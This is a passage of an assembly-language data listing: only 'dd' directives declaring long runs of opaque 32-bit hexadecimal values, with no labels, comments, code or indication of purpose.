		dd 0A06C5A92h, 964A881Ah, 0ADB3FAA8h, 0E8ABBD84h, 977B014Ah
		dd 9874E1FDh, 0A0492E43h, 0DC9A7C02h, 0A500D0FEh, 0B575F652h
		dd 3096EDDBh, 0B0C25190h, 649D5BB4h, 0ABAF82A4h, 80563721h
		dd 1D065F1h, 0E6B831EAh, 0B2E31341h, 0B590D899h, 0F65A0CD3h
		dd 8293C032h, 0D4ACAE9h, 0B51091CBh, 92013AAFh,	96EF1A6Dh
		dd 5125F062h, 0A5487369h, 4E23CDh, 0CBFE05F2h, 69D69760h
		dd 0C8D747C3h, 957DFCEh, 90612549h, 803C1059h, 6A9CFC09h
		dd 183223CDh, 9A50FEC0h, 904BD169h, 0A854D1A1h,	19B8BFA9h
		dd 0D0C028Ch, 0E2C7C5DBh, 9A7F157h, 4C55FCB7h, 95F3B534h
		dd 5B280909h, 48FCA7C0h, 3D76A67h, 98AF5186h, 0B83152D8h
		dd 0B6FEBF12h, 8F0229Eh, 2F61BD29h, 40A97849h, 7031E603h
		dd 0CDD2260h, 45857384h, 0E4610117h, 1E900171h,	98924A15h
		dd 75F829C2h, 51953995h, 2045558Ch, 9CB05F49h, 630AB325h
		dd 8D9DF995h, 0DFFEF1A7h, 8FD1D04Fh, 574E0592h,	8BB905D6h
		dd 0F1DF01D1h, 0AC7EE945h, 8161E23h, 0EAA43AA8h, 97F94E88h
		dd 0F6190611h, 8470F8Ah, 7D8011E9h, 3B1A0516h, 5E6F003Fh
		dd 70E8AF3h, 1309852Eh,	5A5BC9C0h, 561A81B3h, 8532F17Eh
		dd 33E95B55h, 65BB8F20h, 8D8B1869h, 895303FFh, 32E59D1Ah
		dd 44A9542Fh, 1F6A5418h, 0A554C65Ah, 64FE341Bh,	0ABB37104h
		dd 4982A1ADh, 4D5F0F30h, 318E396h, 37FF6A8Ah, 59159F97h
		dd 3AF1A238h, 6FD2D8BDh, 31DB023Ah, 431BCB80h, 10B8A8Eh
		dd 6B0ED5B9h, 51E16F8Ch, 5D2EEAFCh, 0A96DED5Fh,	75300C9h
		dd 0A1943A7h, 67DDF04Ch, 0C7E909E0h, 7D25A3D9h,	0E11256B6h
		dd 0B8D4F2B8h, 0E2C1F6AEh, 0A5825785h, 0D50907A1h, 0B7DF702Bh
		dd 17AC81C4h, 6E08B8E7h, 21E99404h, 5B52DB9h, 0BF986C40h
		dd 973CF6Eh, 0DCB5FCF0h, 4E305E5Ch, 4B0D4BE7h, 0ECE7BD88h
		dd 3C627FD8h, 0F0051122h, 0B878C933h, 0D6192530h, 44ED5A9Dh
		dd 0C187F940h, 79690229h, 0FC8A7120h, 88E80F5Ch, 0C0DB04D6h
		dd 0B88DE341h, 0EEB3AC0Ch, 20C29851h, 5B492481h, 5EBC68h
		dd 0DED69E83h, 0D893476Ah, 2D9EB058h, 69BC7185h, 84FFE429h
		dd 0A59549EAh, 5B5ADBFFh, 4C8028DAh, 77A7BBB3h,	1967150Eh
		dd 0EB3DE158h, 9A236941h, 795C232Dh, 7C306E25h,	4A15F33h
		dd 0B9E1FFAFh, 0CC3BB97Dh, 5B275298h, 69CFD6FCh, 0BA422559h
		dd 0D2297304h, 824973F9h, 551A2D7Ch, 0DE2DF567h, 5ED42795h
		dd 0FDA131DEh, 0C60BB1CEh, 150E563Ah, 0CE83038h, 5752AD0Bh
		dd 212A7D66h, 60FB0BF1h, 80623B76h, 3420D7C3h, 0ABB7DF81h
		dd 0C2711925h, 41EF040Bh
		dd 463D62AEh, 0DEDB2Ah,	964F6285h, 0E8C06C35h, 0A8D0F1Bh
		dd 0B3F45A23h, 0B29C1681h, 17CE5AA9h, 0EB300DC5h, 54E61E20h
		dd 0D64A07B0h, 0D04C91E2h, 0CA7BBF89h, 7EB85D04h, 3DC4AD32h
		dd 5B9649FEh, 0F9800371h, 4EBA6090h, 1C3A04DAh,	8361FE8Bh
		dd 0F4EFFBFEh, 359BAF6Ah, 78600FC6h, 21F09155h,	244F2A4Eh
		dd 2CE8D261h, 13D528D8h, 0A0A5CC82h, 0C02E6110h, 22476835h
		dd 0BB0479E9h, 3A7C83B5h, 0B80FE0A8h, 0A992F621h, 0C2B8B0h
		dd 1114BEFDh, 4DAC65Ch,	0B0DEC69Dh, 950EE214h, 18A0AB14h
		dd 894BEF25h, 19A8C8FDh, 0DAC70D8Ch, 247406CBh,	0BE88057Bh
		dd 8A445899h, 0DAEF7060h, 0E916618Bh, 98E40213h, 610997DBh
		dd 9C363DFDh, 828D4052h, 0EFBF5DFBh, 1250F04h, 90F80D9Dh
		dd 0FD76C54Ah, 0B08FEC7Ch, 0BFAF4981h, 4AB2B897h, 0B6E981C5h
		dd 85945CECh, 83FA52B2h, 0A498DB96h, 0A7F720ABh, 5C794285h
		dd 0C3412000h, 0D0CD99C0h, 8DA94B79h, 0CFDB2FB9h, 21FE7F8Dh
		dd 68996F10h, 623777EEh, 0FE49BC9Ch, 6F09D53Ch,	4EA80803h
		dd 8BD3D805h, 6BBA6741h, 1B232Bh, 1DEF3D06h, 8E26B612h
		dd 0E109F8E9h, 2E047926h, 0FA13DC87h, 33FF607Fh, 0A2C4B416h
		dd 4140004Ch, 44B5F63h,	722600A6h, 8839180Ch, 8CE0AA69h
		dd 9661500Bh, 0FD7588Bh, 77205D6Dh, 0E1ABE632h,	352F8851h
		dd 4DB1102Ah, 68D88B00h, 693754C7h, 543D749Eh, 0A9BFF80Fh
		dd 38362083h, 39692857h, 290960F9h, 1D24A5B5h, 4298AB61h
		dd 1B5926BFh, 0EFDE16A6h, 16252C7Bh, 40B1E49h, 27A1FC06h
		dd 0B5891375h, 0BA2DAB55h, 0D926221h, 80EE9B61h, 69BF9FD6h
		dd 59782DCBh, 95F64E56h, 0FE90A930h, 0D9BD010Bh, 71705612h
		dd 0C631B13Ah, 0E90114C9h, 357B6E4Ah, 0BE252E00h, 1001368Ch
		dd 93415359h, 2A113504h, 92EE06BCh, 5BD133A0h, 0C6B273h
		dd 204A22DFh, 0B65ED18h, 0AB825DC4h, 75009DC4h,	1FF75A98h
		dd 1F37CC7h, 95B52740h,	0F1EE836Eh, 0E282F5Fh, 1BE487E3h
		dd 0A954960h, 57396105h, 0B41282F2h, 0B314C6BDh, 0ABB3FDFEh
		dd 23B0635Eh, 0FCD952Dh, 0FE6019E4h, 6B04EF5Bh,	0FD8A85A0h
		dd 1CAC0BBDh, 48D9008Ch, 0C27CA811h, 23EEC73Bh,	12EFBD4Ah
		dd 6B49B17Bh, 70B018A7h, 8E49C0Fh, 0E6AF5C25h, 8964C15h
		dd 0B31CF26h, 0D88E63F7h, 0F0E3ABA1h, 0E5FEFE52h, 91446D6h
		dd 0DEBD2B48h, 6FBF8E6Eh, 0B80F13C4h, 0B246D3E4h, 0BDED783Ch
		dd 17D8EDD3h, 56B6006Ah, 0D7A8E2B7h, 0BF04E0A9h, 790DEFD5h
		dd 0EF9C74ABh, 4200CD6Ah, 0EF9FF873h, 6000CE6Fh, 568FAAB8h
		dd 2F68168h, 1183B7D4h,	5A770361h, 96539D6Bh, 3B181959h
		dd 0B04D1000h, 0E3801C6Dh, 6BFB9CC5h, 830BB754h, 8903F4C2h
		dd 0CB706AD8h, 8D258E90h, 0AD505B1Eh, 54B6050h,	9031969Ch
		dd 85D78AAAh, 66A2D9B1h, 0BDC57349h, 0C48AAA69h, 0F1211864h
		dd 0B3F63F4Dh, 84F59CB5h, 5BD61258h, 0D7C9C5FCh, 0C449080h
		dd 6800720Ah, 45F9856Ch, 0B089C71Bh, 48F695ACh,	0A28BB40h
		dd 0B8224ECAh, 8569E0D2h, 80C00094h, 0D2D67A15h, 0EAEA7137h
		dd 0D1B5E1E3h, 758F20BBh, 0C65F1B25h, 49B70956h, 0FCB3820Fh
		dd 5E71D9FFh, 0F94453C4h, 6020AB96h, 0DF6CDAh, 353CA2E8h
		dd 1F3E77CAh, 9A348400h, 0D7DB87A3h, 0CC504CC2h, 0C8600D6h
		dd 7E97A667h, 8B4886E4h, 5BDA0907h, 0DCA87496h,	0A6AADF12h
		dd 1995904h, 0A64B93CEh, 0BBF8A568h, 0A97D17D6h, 6CBF87CAh
		dd 95C47279h, 98D30D73h, 0BFF3447h, 0B690D5D4h,	7125CF7Eh
		dd 0A0054F6h, 25893E59h, 25AB729Fh, 7EC014E2h, 899FBDDDh
		dd 0BF10715Ah, 232BBB09h, 59441479h, 0A95AD150h, 3C6BD638h
		dd 33A95800h, 0D19EC490h, 0C2B9794Eh, 0AFC6F984h, 3680FE9Eh
		dd 0C7D40112h, 4E8F9B12h, 31C230F2h, 6AD64DB5h,	0DBAC3096h
		dd 5F8B6E4Fh, 0BCA480F8h, 814780D4h, 0DF63C1h, 0D9512019h
		dd 3F8D91A5h, 0BDF7D8BFh, 6EB5A6D8h, 2EB7B701h,	0C7C1FD02h
		dd 0F86F9BEh, 0E409221h, 3556540Ch, 23D82C00h, 0CB94468Fh
		dd 0BF4F4A68h, 0DFD2991Ch, 0DEC98ADh, 5E4B900h,	68633CF0h
		dd 0C8109FF7h, 36799AF9h, 605CAB61h, 81DCA0B9h,	0EFEA980Ch
		dd 0FE3FF53Ah, 0ADA5B7D7h, 0A2A04CD4h, 0FBFBA13h, 465430AFh
		dd 0DA011BF2h, 2554F1C7h, 82A31BCh, 5F122E56h, 0F26B4AF1h
		dd 0AB080014h, 0B0EF5A60h, 0D70C25DFh, 905BA2C0h, 3FEEE852h
		dd 4E6A001Eh, 88B867BEh, 9FAA0B3Eh, 93711DA1h, 5B28F800h
		dd 12FEAE1h, 43E0213Ah,	6B505F60h, 0B0514E08h, 0CF03BFF8h
		dd 9BFDBF5h, 2AC333CDh,	9ADC7F27h, 363597DAh, 0AE801591h
		dd 0C98D892Eh, 0D50C0995h, 1A913635h, 0C087C280h, 0CD27F93Dh
		dd 3ED64B0h, 1567D184h,	0E1907E57h, 0A52E4B4Eh,	930FE13Bh
		dd 0B0E6F2FFh, 84239E0h, 0B0998E6h, 7F225D9Dh, 109F8F30h
		dd 43DE2102h, 5ED7AF86h, 0A76E514Eh, 0C96DED2Bh, 0A3807F72h
		dd 6A8102F9h, 0DC62DED2h, 987A8F00h, 27B8DC59h,	0CFBF257Dh
		dd 0B3F419FFh, 7ABCB57Ah, 9428190Bh, 8B601C62h,	41B589D3h
		dd 0E9251472h, 0C2A059E0h, 8B05BFC4h, 2987A4ACh, 2A4FDD8Dh
		dd 94F64F81h, 0C85B9A6Bh, 1AFFCB19h, 2F87D3FFh,	6C55DDE2h
		dd 42F0BFh, 1BCF9F18h, 0C72675C1h, 1702F4FCh, 9531BF50h
		dd 868388C6h, 0C0A54D2Dh, 9A328D82h, 1CA8B112h,	53FAAE01h
		dd 652F5BF9h, 2382BB35h, 0E0595513h, 194B56Bh, 0A1FEBB7Ch
		dd 5C8C3BCEh, 87250301h, 3C1F263Dh, 2F406E81h, 718D3660h
		dd 0F095840Ch, 0ED92582h, 74006ADBh, 56B805DCh,	142C09B1h
		dd 3D7BC0DFh, 20012308h, 0BFD312EEh, 53CF464h, 0A510C486h
		dd 0E6041208h, 0E4051789h, 0D0891C71h, 69B7122Eh, 88F63CF4h
		dd 0B997FC8Ah, 8B60F53Bh, 0D953489h, 936B88Bh, 781ECB80h
		dd 9D310933h, 5390C75h,	0DA08ECF2h, 5337362Fh, 0C82B0D78h
		dd 8B06288Ch, 0E9B260D1h, 460296B0h, 85ECBD65h,	8CEEFDD3h
		dd 0B5258987h, 0ADE15971h, 9600A271h, 86F1C97Ah, 0D34597BDh
		dd 14C1D031h, 80C15F02h, 1A97E45Ah, 3C40FFB4h, 0B5CFAFCEh
		dd 616E33B6h, 22C11778h, 0BB040F59h, 0E9A50F1Fh, 58510E6Ah
		dd 0E9030139h, 501217FEh, 67F35BFCh, 562FE241h,	0B929AA1Dh
		dd 0E9C30040h, 66B397B3h, 103D3617h, 992707D4h,	8BD848Fh
		dd 0C438AABh, 0B00F3F1Eh, 0B00C5287h, 86FC8476h, 372D9A93h
		dd 70190C6Bh, 1D25DBB4h, 56A30BA8h, 184C92Ch, 93B90228h
		dd 0F4F2DE10h, 0B5014C04h, 0D9EA0EE9h, 0A659765Ah, 0A8215EA8h
		dd 32DE90A2h, 6DFCB37Dh, 9325E021h, 0B72ACDB6h,	2B148483h
		dd 70DC23C0h, 544BB297h, 27CD2503h, 6EE1A98Ah, 7F3F0FD6h
		dd 0BB611978h, 0C8BF6E8Fh, 13125EECh, 0B3F7880Dh, 3A8271B1h
		dd 49954484h, 0D38F9ABAh, 0F2E198BFh, 0C5D59307h, 2199E311h
		dd 5B063A7Fh, 7678B73Ah, 30A60343h, 0DE317927h,	971FF466h
		dd 0DB09612Fh, 47EB7192h, 0FE160E77h, 6F01916Fh, 7BE89E3Dh
		dd 255FC4FDh, 6389B0CDh, 2157A751h, 47218D2Bh, 0F17399E9h
		dd 0FC4F8EAEh, 4FA1E100h, 1D855DFh, 31FECB52h, 0F6FF5B9Bh
		dd 10E3755h, 8ABBAB45h,	2E3BC914h, 8B20F628h, 3DF488B2h
		dd 5C127FC2h, 7F2351D7h, 0E5B059A7h, 0F81690F7h, 9301B292h
		dd 0DF096B8h, 53DC5CE6h, 5B9F5CF6h, 0A8D789Ch, 9A904900h
		dd 0A885B517h, 0F2DE5E8Bh, 2DEF4E4Bh, 0A530C81Dh, 0B7097200h
		dd 3335D49Fh, 0B111709Dh
		dd 88C2645h, 9022769h, 5703398Dh, 42312F11h, 64D52DEEh
		dd 0F7A6809Ah, 922C4BF9h, 192A73FDh, 0E84D112h,	0C8BA9AEAh
		dd 1463C116h, 4BF25A4h,	0C5CFACF8h, 20898E0Fh, 80D8206Bh
		dd 892645F7h, 0FD27EB92h, 8FEF2C30h, 54909727h,	0F98A82F5h
		dd 0F0C15061h, 0C6CC1417h, 949000A3h, 234591ADh, 420082AAh
		dd 0BAF0A43h, 4FF0194Fh, 0F1F6F660h, 862B1B54h,	1978AB6h
		dd 12E38026h, 68D81683h, 25FADB8Ch, 123C535Dh, 73B6A0F8h
		dd 25C1D813h, 0C0B99EADh, 7B03C5F7h, 91AB57F8h,	5A6B89BFh
		dd 9D9D7030h, 6DB5E27Ah, 6019644Bh, 2C59A3D4h, 166ABB45h
		dd 4256AEBDh, 0AA4FACh,	77A139F3h, 13FC0DDFh, 1E152CA0h
		dd 920D048h, 53019FE9h,	0C8D0D189h, 8D72BC41h, 0BB55948h
		dd 5C2DE99Dh, 603EEA4Ch, 911F71C2h, 70556712h, 0F35F0BF3h
		dd 223D5884h, 0A5FE9501h, 24B0F865h, 0E953BD48h, 8A671459h
		dd 0E5D2C85Eh, 9DC02700h, 4ABC489Eh, 0BF6C09BAh, 215C8924h
		dd 0F1D624DEh, 9CCD52EFh, 0BD133367h, 0AAB8E4C1h, 25ECE397h
		dd 0C02AFC50h, 898CFEBBh, 6EFE344Bh, 0F9D51242h, 14ACA0B9h
		dd 93E0958Ch, 0AB0768DAh, 0BB0BB167h, 7F1237A1h, 3E54CE24h
		dd 874CAE64h, 0B5DCD52Fh, 0FE9356AFh, 9436F901h, 0A5C996BBh
		dd 22CF37Ah, 0E7EECBFh,	4CE6F52Ah, 44AC5C9Fh, 4FD5FA11h
		dd 0DCE1640Ah, 0CDB589BCh, 0C9F6140Dh, 90E18DB8h, 0C9B65B61h
		dd 698A71B1h, 6D54A0E2h, 218B2C51h, 2E5342E9h, 0EF875DAh
		dd 9C501300h, 0B74A4E7Eh, 5C1D97CCh, 0FDCE0272h, 0BD430E14h
		dd 0BAB41255h, 0C500736Fh, 0E1BFCF83h, 0D095F9A6h, 0FC7B95BBh
		dd 2A49BD04h, 0CDF6A2AAh, 0ED6A6EAFh, 1B6B8D0h,	9EC76190h
		dd 4BF543F2h, 537F30F9h, 1230F381h, 0FF10F1EEh,	31810D64h
		dd 0B93205A5h, 112B752Fh, 0A798B57Fh, 0F20BE6ECh, 5505EA97h
		dd 89263487h, 492A4D55h, 2DF683Ah, 0D502B9DFh, 1A275EBBh
		dd 0E04AFEFEh, 0FC99A103h, 0BC048C71h, 803AAC2Eh, 17A2F948h
		dd 8011903Fh, 0BD577A7Ch, 2B3AFA08h, 7A8096CEh,	9F00C457h
		dd 9D6128FCh, 6C0707CDh, 969532CCh, 12652588h, 9D059455h
		dd 13D40DD4h, 0FE0A9FADh, 83D67A16h, 14E52588h,	0E2B017EEh
		dd 6F46EB12h, 0A35B7CE3h, 4DCC4A29h, 0C92109BBh, 9C56B47h
		dd 5521150h, 0FA5178Ah,	0ADD01C7Bh, 310ACF52h, 5D18359Dh
		dd 0D02ED0Ch, 9B205F50h, 433380B6h, 0F5DE505h, 0EFBD7C79h
		dd 0C0A4B872h, 40E6AEBBh, 0EF5F4A58h, 0DBD7030h, 0DF45B519h
		dd 5097D3A7h, 554AAA2Ch, 0F64F4DA8h, 0F1814FDDh, 5AABBA5Bh
		dd 53560310h, 2970830Fh, 6CBF5B71h, 759D2AABh, 9A6397F4h
		dd 0E4F687EAh, 52ECDA0Fh, 4BE094F6h, 9E3B7E6Ch,	15448BEBh
		dd 4AEE5016h, 0A569A831h, 7416E04h, 28FF8AAAh, 94955C86h
		dd 0B45A7079h, 0BA09F413h, 576096h, 50515A1Ch, 0C35E5A5Bh
		dd 0A6F4FA28h, 6EAFE053h, 128290B5h, 6081C545h,	0D8501E7h
		dd 4F7F1956h, 0B19230E8h, 2DDB7E56h, 0DE80ABC9h, 29830D13h
		dd 1F29F39Dh, 3D2795BDh, 95D5F889h, 41F340B5h, 0AA244ACCh
		dd 0B509FD63h, 71695C1Fh, 0F95A0D37h, 0EA5EF4C0h, 0DB259416h
		dd 88697362h, 0D06918E9h, 61DDF93Ah, 56332C2Eh,	0A4EABF09h
		dd 38700EBh, 802F299Dh,	0C2952CE9h, 8E87374Ch, 0B601B4F1h
		dd 2BF5A2ACh, 7EF6990h,	79A08CE4h, 60A320F5h, 900003BAh
		dd 25CA76BFh, 65501D67h, 0EB46B727h, 0C69BFCEBh, 3FE764C0h
		dd 8F384A7Bh, 93CF9387h, 2AA1F004h, 6112BE57h, 449C70AFh
		dd 0EC0B72C6h, 0D065EE01h, 0DC709698h, 0E7F68400h, 6A5A2D11h
		dd 97C0B0FBh, 49D07CD3h, 0F19D01C5h, 0A40B5632h, 829242E4h
		dd 80C2D35Fh, 74571BB5h, 4A044F66h, 890C142Bh, 62A627BFh
		dd 0FA7DB1B5h, 0CEFD205Ch, 0E6789F9Bh, 5DDA0EE9h, 13E980C8h
		dd 0B79F6070h, 0AC791F3Ch, 0DE2B00AFh, 0B3906AAAh, 6017FB7Dh
		dd 614FF18Ah, 36B37761h, 1C386A6Ah, 0E7685DE7h,	3080B637h
		dd 2F725B03h, 277602D2h, 175BD33h, 0DD5A5D5Ch, 562D53B5h
		dd 4C5002AAh, 90D70719h, 6E9427h, 0F40AC68Ch, 0F133383Ah
		dd 58394806h, 0B7EAA4B7h, 0FE95BB50h, 1849D4BDh, 6D7A8047h
		dd 254EA00Eh, 2CC5D1FFh, 16B3C438h, 0DB026AF6h,	70C28744h
		dd 0AD47D4D1h, 0ACFABC97h, 9D012255h, 7EEC5201h, 736FFC50h
		dd 371C322Dh, 0AC368961h, 0F3D2582h, 91FBB75Dh,	4D788419h
		dd 0E931A0AEh, 0C510B425h, 0CF078843h, 1EE7F125h, 909EB0h
		dd 8C82846Dh, 0F004735Ah, 2DB5013Ah, 0D45B7AD2h, 6F07DCD2h
		dd 0F4414B4Ah, 0E0AE3B32h, 25231D7Bh, 86732D59h, 0EE181D59h
		dd 5FC52300h, 7159A77Dh, 0FA916C4h, 0D35ACC80h,	1C03AB26h
		dd 502D2525h, 34BEB2C5h, 3A5FA42h, 2DB8A86Dh, 0CB6C4E60h
		dd 4A0F3972h, 88CD888Dh, 898B5B84h, 0EB98829Bh,	573A0927h
		dd 1811B637h, 647D8A80h, 309796CFh, 125EBB9Bh, 0E3090E18h
		dd 9D230E70h, 6759B01Dh, 5D6FAA4Bh, 136F6A07h, 8271B712h
		dd 44557698h, 604E002Fh, 612EEBE7h, 815CC675h, 23551767h
		dd 0ADE8D4E9h, 0A5028475h, 53946ECCh, 0F1BD8260h, 0BF2AC0D8h
		dd 0B56151D6h, 0CA6A0CCDh, 12C10A3h, 40896E50h,	997B033h
		dd 0D948F506h, 704EE661h, 281BDC8h, 64116C94h, 0AF6071E4h
		dd 0E6950CA1h, 0A72FE103h, 78CF169Ah, 2B56DDBBh, 0BF66D500h
		dd 4ABA02AAh, 0C0CCBD06h, 2F7CC35Dh, 1030013Ch,	56C01A68h
		dd 2F4E71C9h, 0F072A3C8h, 62660771h, 59DC3FF2h,	2DE4945Fh
		dd 3C58ACA4h, 4B145495h, 12A4C954h, 32BD2212h, 0D17A0951h
		dd 50D18B2Bh, 0BD25B735h, 0FE07DE00h, 6A7AF155h, 1B7B09Bh
		dd 219A183h, 2B88CD41h,	0DEB941C9h, 2DFA702Eh, 0F5583F29h
		dd 0F0CE7388h, 0DC1C0F00h, 0EBE3B72Dh, 0AA78075Ah, 925BD0Bh
		dd 0E6484A5Eh, 55246D0Bh, 4E0C159Ah, 0DAA8FD1Ch, 0D7A43EE9h
		dd 0CF04DF00h, 0EF802ED1h, 0D41A9746h, 0AF2587F0h, 45D3C4C6h
		dd 4BA22C21h, 0D4AC3FC4h, 92EEDA1h, 0AEC6C05h, 0B1D1D84Ah
		dd 0B2024F41h, 17B5D695h, 0F068A66Ah, 9DF5C6DCh, 14590E73h
		dd 0E3F83F18h, 0BE23AE2h, 4A52BB01h, 0ABB942FDh, 0BA56C474h
		dd 525F5C53h, 50090822h, 43D18D09h, 0D0B8F43Dh,	4ABC5349h
		dd 0A2491C09h, 0E17CD853h, 0C054DE2Bh, 0DEE9823Bh, 0BC14049Bh
		dd 0E83D4616h, 28BF9665h, 0A2124757h, 0C8AA40B1h, 0D95FBD2Ah
		dd 0BA5C265Dh, 0E0525E27h, 203155BEh, 7FC03900h, 9A592E33h
		dd 5C4A0496h, 0EAF70FD1h, 71E479A7h, 20D9D0F8h,	85B0137h
		dd 0DC57CE9h, 93139F88h, 57F849FBh, 0FF258AD6h,	890243BAh
		dd 16D718C5h, 24B5B508h, 426D6605h, 5D032FAEh, 0A23A8E0h
		dd 0CBA9C0B3h, 2750B93h, 0E0CFCD55h, 8BB45980h,	0CCAFB4Bh
		dd 0F8FE9422h, 0FB271F91h, 0A16F785Dh, 61B3CD12h, 0DA2A74AEh
		dd 40E8CEBEh, 2B18BE99h, 0DAE025C2h, 0E5E2487Eh, 0D50C0C32h
		dd 0D6A2085Eh, 525D249Ah, 21B79785h, 4AD6DD0Ch,	0CE2BFBA1h
		dd 5621C1Fh, 14377525h,	1C479D00h, 9702D994h, 4F383F94h
		dd 0BA95A05h, 0DA264DBCh, 0C5257DB9h, 4EB8838h,	0F4DB8002h
		dd 0DCACD660h, 0CD13200Ch, 97F96632h, 0DC8A0B82h, 7E2B075Eh
		dd 17FA978h, 60A4F9A2h,	0C2958D2Bh, 807B5957h, 2C8C9C9Eh
		dd 0E700CB61h, 44535A6Ch, 0B0F11601h, 58CF275Ch, 5D091CFEh
		dd 64445E03h, 15233F7Ah, 56791109h, 1646D620h, 4B019302h
		dd 5B5EDE8Bh, 0D5E85065h
		dd 826DA680h, 46038A1Bh, 697FE39h, 0F64EF845h, 0D670279h
		dd 118D3114h, 0C45F6269h, 0B60956BFh, 0E4906F9Eh, 4F6C959Ch
		dd 4B8504Eh, 0D6C9B9A0h, 0F63E9081h, 0E83FE1ABh, 0F2963840h
		dd 0B75E01CBh, 0D9BF5BDAh, 5DF8BB0Bh, 0BCDBEC14h, 0AC72771h
		dd 0FC968110h, 7760C026h, 3CDE5354h, 0C9120E68h, 4E80B294h
		dd 7AFD21FEh, 0EAA02A9Ah, 5B9C90F1h, 80F2DB6Bh,	8761D005h
		dd 260D0439h, 20E8F7AFh, 3699AFAh, 11B98074h, 0CE0A370Fh
		dd 0C160B8CAh, 0B16D30Bh, 27A3DA56h, 97545B61h,	7B0911E7h
		dd 257EA490h, 94E99368h, 2AD2024Bh, 70896471h, 35578A8Eh
		dd 97F5A378h, 6029CD1Ah, 0B5B6975h, 1F09698h, 3C34164Ah
		dd 2F228547h, 0EE7E7713h, 4BFCFD5Fh, 0DEFE8B85h, 0A797C1C9h
		dd 0C56F3893h, 0E084AA5Ch, 4E56A7EAh, 5807E46Ah, 0FBE770h
		dd 9C91C781h, 66215C34h, 0A78081DEh, 1AB31D96h,	9D5193Ch
		dd 0DC8D09B4h, 0BB6682BEh, 0B8D78E2Ah, 86041948h, 88905997h
		dd 208305E8h, 90D68CDEh, 4D61BD33h, 0AD5E221Bh,	0F07B7263h
		dd 8230A4BFh, 3B18ABBh,	0C2318729h, 0C4ECA09Eh,	0DE2639BAh
		dd 0BFA1C4CBh, 59A00FA7h, 0FA00DB8Ch, 0FDB8600Bh, 0E610A90h
		dd 6BF8D381h, 41FF4A8Eh, 18E8D9B9h, 3AE57101h, 5DD9CB97h
		dd 53180494h, 5B150FE9h, 48751EABh, 0AAA340DDh,	0A0637402h
		dd 71404D14h, 24F15A80h, 800F9989h, 9942CB4Ah, 5E953F66h
		dd 476C87C1h, 905E8775h, 5BA3EC54h, 0E935CCBFh,	915F52C0h
		dd 9642D71h, 34A9B31Ch,	0D0A4F780h, 4507CB6h, 58EA802Fh
		dd 8AD2C8CEh, 5548FE6Bh, 0BF8DDF84h, 0DD65635Dh, 9F000C3Fh
		dd 7DFFD3E4h, 2480F007h, 72BE202h, 4050AAF4h, 5609D567h
		dd 0F2C1FB4h, 0DCD309DEh, 1D188EBAh, 24044A0Eh,	0A6D57A0Ah
		dd 0A93571C7h, 578DD692h, 0CAB4C894h, 5FE63640h, 0BB7500D4h
		dd 64BC2251h, 0B816592Ch, 88EA843Ah, 1A1CAC0Bh,	0E28B07FCh
		dd 0BF80FD6Fh, 0B469DADDh, 891CFC9Dh, 744D615Bh, 0F122C4C0h
		dd 9560EA80h, 21A4EFE7h, 61BE05D6h, 0AF0D69A5h,	6F020B39h
		dd 0BE04F551h, 0D75B0928h, 0A6F32098h, 137B4111h, 0C215C8AFh
		dd 84F31A12h, 74C39C73h, 811499B4h, 27F60760h, 7245042Fh
		dd 3D05253Dh, 29A50914h, 3B6DA601h, 8BB13F09h, 27D9CE2Bh
		dd 0D8D753D0h, 0F89D7871h, 16592031h, 0C4DE4DB5h, 0B0B9611Bh
		dd 160E61C8h, 0E67DECh,	48313969h, 0F9136075h, 0B5A63EB5h
		dd 0D28865Fh, 59F65B95h, 0D4181Dh, 0F917793h, 294055B7h
		dd 0BD893A09h, 41A25E2Dh, 2A6239EFh, 0E65A03F7h, 0F1D5A391h
		dd 55B853CFh, 0C5B8E98h, 9F4F80E7h, 13D9E1E5h, 1CA72Fh
		dd 12E86F39h, 0E3ADC53h, 215D1D50h, 12D33D2Eh, 0B45D30DDh
		dd 0ED0E4122h, 99F03D4h, 0C96E56ABh, 4C554EEAh,	45B5BD4Dh
		dd 5E98A900h, 12623A26h, 0EF0BB47Eh, 0A6BFCA20h, 0B72AE0E4h
		dd 14641E6Dh, 71559262h, 0E15960A3h, 0B900CDF8h, 0A768F324h
		dd 5B042BDAh, 5528F331h, 5AF72A10h, 0FD1117B0h,	3F4A8B01h
		dd 0FC2118A4h, 0B282F63Ah, 0AB963015h, 0CE85313Fh, 660F18CAh
		dd 0B6D371BFh, 301DB217h, 9C00172Bh, 421558B7h,	5ED3DCCh
		dd 16E50BBh, 30F27Fh, 0F88F75F0h, 27FE13FBh, 29605DC9h
		dd 22244CBBh, 5009150Ah, 0C0834D20h, 0E1A13BD4h, 23FDBB0Eh
		dd 9B35331h, 11DD2B25h,	6731957Ch, 6B9EC92Bh, 0EAC9069Eh
		dd 8A61E35Ch, 0AA266AF9h, 2BD91F00h, 0C60ADFDh,	0F1176601h
		dd 0ECF46404h, 49485C26h, 0C6C2B305h, 156BFF54h, 16011823h
		dd 0D833D1B8h, 9098276Fh, 983E8620h, 455FDD00h,	37136261h
		dd 7B5201A8h, 8646E1DFh, 41B22074h, 965F96A8h, 0D449859Ch
		dd 0BF2120Eh, 9DD412C4h, 3BB85092h, 7D8FA080h, 0ED006E17h
		dd 47E12E6Bh, 69FB8B53h, 0AFFB4C5Fh, 9545A571h,	0A1830EDFh
		dd 46B0A7CBh, 0F895651Ch, 0D1569786h, 0C19B4D6Bh, 0F82FE09Dh
		dd 27121FE3h, 8105E3Ah,	83D55C60h, 0F8839E26h, 7D33683Fh
		dd 0C97302A1h, 50C58AB8h, 2E51C076h, 60C0EA17h,	0C4D1E365h
		dd 69738919h, 0A66A34F2h, 54DCF1EFh, 0FC33F92Eh, 0DB3E099Bh
		dd 0AB04E81Ch, 6ADEF1C5h, 95A86BF2h, 10C15658h,	5F2E1FE5h
		dd 1D2F0A3Eh, 1A46D45Ah, 376B7400h, 4ABBB890h, 17146FB7h
		dd 0B032E75Ah, 3B8E9DF0h, 5E80E546h, 60BF766Eh,	6113B032h
		dd 0B4B6F98Bh, 0E0BD9D13h, 5B9DC623h, 6D60D00Fh, 0DA8BCC13h
		dd 55DC3CAFh, 38D80344h, 0A4D6FFF0h, 5DD816F0h,	0BB9ECE09h
		dd 68103A0h, 8B39C85Eh,	0BCED95C1h, 553592C2h, 9D10B8CCh
		dd 65481FF5h, 0BB81C1C0h, 0CE00D18Dh, 0E0E78FAAh, 4342789h
		dd 90887A1Fh, 0E3118483h, 0D54A62EDh, 0C8E55502h, 2B791A31h
		dd 0B2EAE62Ah, 7C5301Bh, 920EAF01h, 6A05B278h, 0BC42F93Ah
		dd 3A10E889h, 8589B71Eh, 0A7101F49h, 3D279D09h,	8F9A2218h
